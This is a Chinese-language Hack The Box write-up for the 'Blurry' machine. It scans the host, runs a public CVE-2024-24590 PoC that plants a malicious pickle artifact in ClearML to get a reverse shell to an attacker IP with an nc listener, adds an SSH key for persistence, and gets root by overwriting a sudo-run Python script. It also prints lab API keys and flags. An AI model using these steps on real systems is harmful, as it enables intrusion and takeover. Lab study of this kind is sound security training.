Blurry - hackthebox

简介

靶机名称:Blurry

难度:中等

靶场地址:https://app.hackthebox.com/machines/605

本地环境

靶机IP :10.10.11.19

linux渗透机IP(kali 2024.2):10.10.16.17

windows渗透机IP(windows11):10.10.14.20

扫描

nmap感觉是被阻滞了,奇慢无比,先fscan垫一下好了

fscan -h 10.10.11.19 -nobr -p "1-65535"


   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.10.11.19:22 open
10.10.11.19:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.19        code:301 len:169    title:301 Moved Permanently 跳转url: http://app.blurry.htb/
已完成 2/2
[*] 扫描结束,耗时: 10.272005218s

经典22和80。80有重定向,先把app.blurry.htb加入hosts再操作。

HTTP

image-20240618104451214

这个clearML是github上面的一个开源项目,相当于一个机器学习资源和任务管理平台。

还没得到更多信息,先转到其他方向。

子域名爆破

ffuf -w $HVV_Tool/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt -u http://app.blurry.htb -H "Host: FUZZ.blurry.htb" -fw 5

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://app.blurry.htb
 :: Wordlist         : FUZZ: /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.blurry.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 5
________________________________________________

files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 99ms]
app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 123ms]
chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 98ms]

整合一下hosts如下

10.10.11.19 app.blurry.htb
10.10.11.19 blurry.htb
10.10.11.19 files.blurry.htb
10.10.11.19 app.blurry.htb
10.10.11.19 chat.blurry.htb
10.10.11.19 api.blurry.htb

files.blurry.htb没有什么东西,看着像接口之类的?

image-20240618111102823

chat则有东西了

image-20240618111241500

chat信息收集

因为没有任何账密信息,所以先创个号进去看看能不能收集到什么。

有一个公共频道

image-20240618111633863

聊天内容就是冲评审了。这个不是重点,把用户名和全称都统计一下。

jippity
irisview
raytrace
lenasphere
dioptric
Iris Pupil
Chad Jippity
Lena Tick
Ray Flection
Dio Ptrie
Black Swan

需要注意的是,频道有两个,只是general默认置顶而已

image-20240618112509470

image-20240618112738506

两条公告看下来,首先我们知道除了clearML和rocket.chat之外,还有一个专门用于实验的平台,目前未知。还有,他们负责的项目是Black Swan(黑天鹅)

然后找不到更多信息了。回到clearML平台。

clearML

输入Chad Jippity,直接成功登陆了。

image-20240618113149654

登录之后能操作的就很多了。网上查了一下,clearML有一个很新的漏洞,CVE-2024-24590,有poc能直接打

https://github.com/OxyDeV2/ClearML-CVE-2024-24590

在使用该poc之前,我们要得到服务器认证。首先到用户界面的workspace下创建新凭据

image-20240618130721901

创建后把配置信息保存下来

image-20240618130156707

然后在攻击机上用pip下载clearml库,然后执行命令clearml-init,把刚刚复制的配置信息粘贴进去即可

api { 
    web_server: http://app.blurry.htb
    api_server: http://api.blurry.htb
    files_server: http://files.blurry.htb
    credentials {
        "access_key" = "K5B069CS9ZIXBGX2S9C7"
        "secret_key"  = "jHmPmqHLHeOqkRwk8pR06y8rQBd82QWr9UjdDJBxKmXTitXPnP"
    }
}

image-20240618130752637

起个监听后,就可以用poc直接打了……嗯?为什么无效

首先要知道这个poc的作用仅仅是上传一个包含shell代码的pickle文件到项目中,只有当别人下载该文件并加载它时,我们的shell才会被运行。也就是说clearML本身是不会跑代码的。

黑天鹅项目中有一个很显眼的定时任务Review JSON Artifacts,大概是每过几分钟就执行一次,内容如下

image-20240618143002947

#!/usr/bin/python3

from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient

def process_json_artifact(data, artifact_name):
    """
    Process a JSON artifact represented as a Python dictionary.
    Print all key-value pairs contained in the dictionary.
    """
    print(f"[+] Artifact '{artifact_name}' Contents:")
    for key, value in data.items():
        print(f" - {key}: {value}")

def process_task(task):
    artifacts = task.artifacts
    
    for artifact_name, artifact_object in artifacts.items():
        data = artifact_object.get()
        
        if isinstance(data, dict):
            process_json_artifact(data, artifact_name)
        else:
            print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")

def main():
    review_task = Task.init(project_name="Black Swan", 
                            task_name="Review JSON Artifacts", 
                            task_type=Task.TaskTypes.data_processing)

    # Retrieve tasks tagged for review
    tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)

    if not tasks:
        print("[!] No tasks up for review.")
        return
    
    threads = []
    for task in tasks:
        print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
        p = Process(target=process_task, args=(task,))
        p.start()
        threads.append(p)
        task.set_archived(True)

    for thread in threads:
        thread.join(60)
        if thread.is_alive():
            thread.terminate()

    # Mark the ClearML task as completed
    review_task.close()

def cleanup():
    client = APIClient()
    tasks = client.tasks.get_all(
        system_tags=["archived"],
        only_fields=["id"],
        order_by=["-last_update"],
        page_size=100,
        page=0,
    )

    # delete and cleanup tasks
    for task in tasks:
        # noinspection PyBroadException
        try:
            deleted_task = Task.get_task(task_id=task.id)
            deleted_task.delete(
                delete_artifacts_and_models=True,
                skip_models_used_by_other_tasks=True,
                raise_on_error=False
            )
        except Exception as ex:
            continue

if __name__ == "__main__":
    main()
    cleanup()

简单解释一下就是:

  • 初始化一个名为“Review JSON Artifacts”的 ClearML 任务。
  • 检索标记为“review”且未归档的任务。
  • 如果没有任务可供审查,则打印警告消息并返回。
  • 对于每个待审查的任务,启动一个新进程来处理该任务,并将任务标记为已归档。
  • 等待所有进程完成,如果进程在 60 秒内未完成,则终止它。
  • 将 ClearML 任务标记为已完成。

也就是说,只有tagreview的工作才会被执行自动任务的主机下载并审查。审查细节不用去了解,只要知道它肯定会运行并跑我们的shell即可。

于是最终命令如下:

python3 exploit.py --project_name  "Black Swan" --task_name "test" --artifact_name "test" --tags "review" --ip "10.10.16.17" --port "40001"

监听:

 rlwrap -cAr nc -lvvp 40001

image-20240618144321234

(真的感觉等了好长时间,中间差点以为不行打算推翻重来。)

在当前目录下找到user.txt

4645965a4154a71c0466950107e77693

提权

先把ssh公钥传上去维权。

cd ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" >> authorized_keys 

看一眼网络,活跃端口还真不少

tcp        0      0 127.0.0.1:8008          0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -          
tcp6       0      0 :::22                   :::*                    LISTEN      - 

初次之外,sudo -l也有内容

Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

这个evaluate_model是个shell脚本,内容如下

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.

if [ "$#" -ne 1 ]; then
    /usr/bin/echo "Usage: $0 <path_to_model.pth>"
    exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  

/usr/bin/mkdir -p "$TEMP_DIR"

file_type=$(/usr/bin/file --brief "$MODEL_FILE")

# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
    # POSIX tar archive (older PyTorch format)
    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
    # Zip archive (newer PyTorch format)
    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
    exit 2
fi

/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
        /bin/rm "$MODEL_FILE"
        break
    fi
done

/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
    
fi

只要知道这个脚本会对/models路径下的pth文件审查,通过后会用evaluate_model.py来跑就行了。

偏偏我们正好对evaluate_model.py有写权限

image-20240618152744718

那就没什么好说的了,直接写入梭了。

import os
os.system("/bin/bash")

image-20240618152911266

b4fe6bf95fed2a23dd0dee2669175363

结束

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值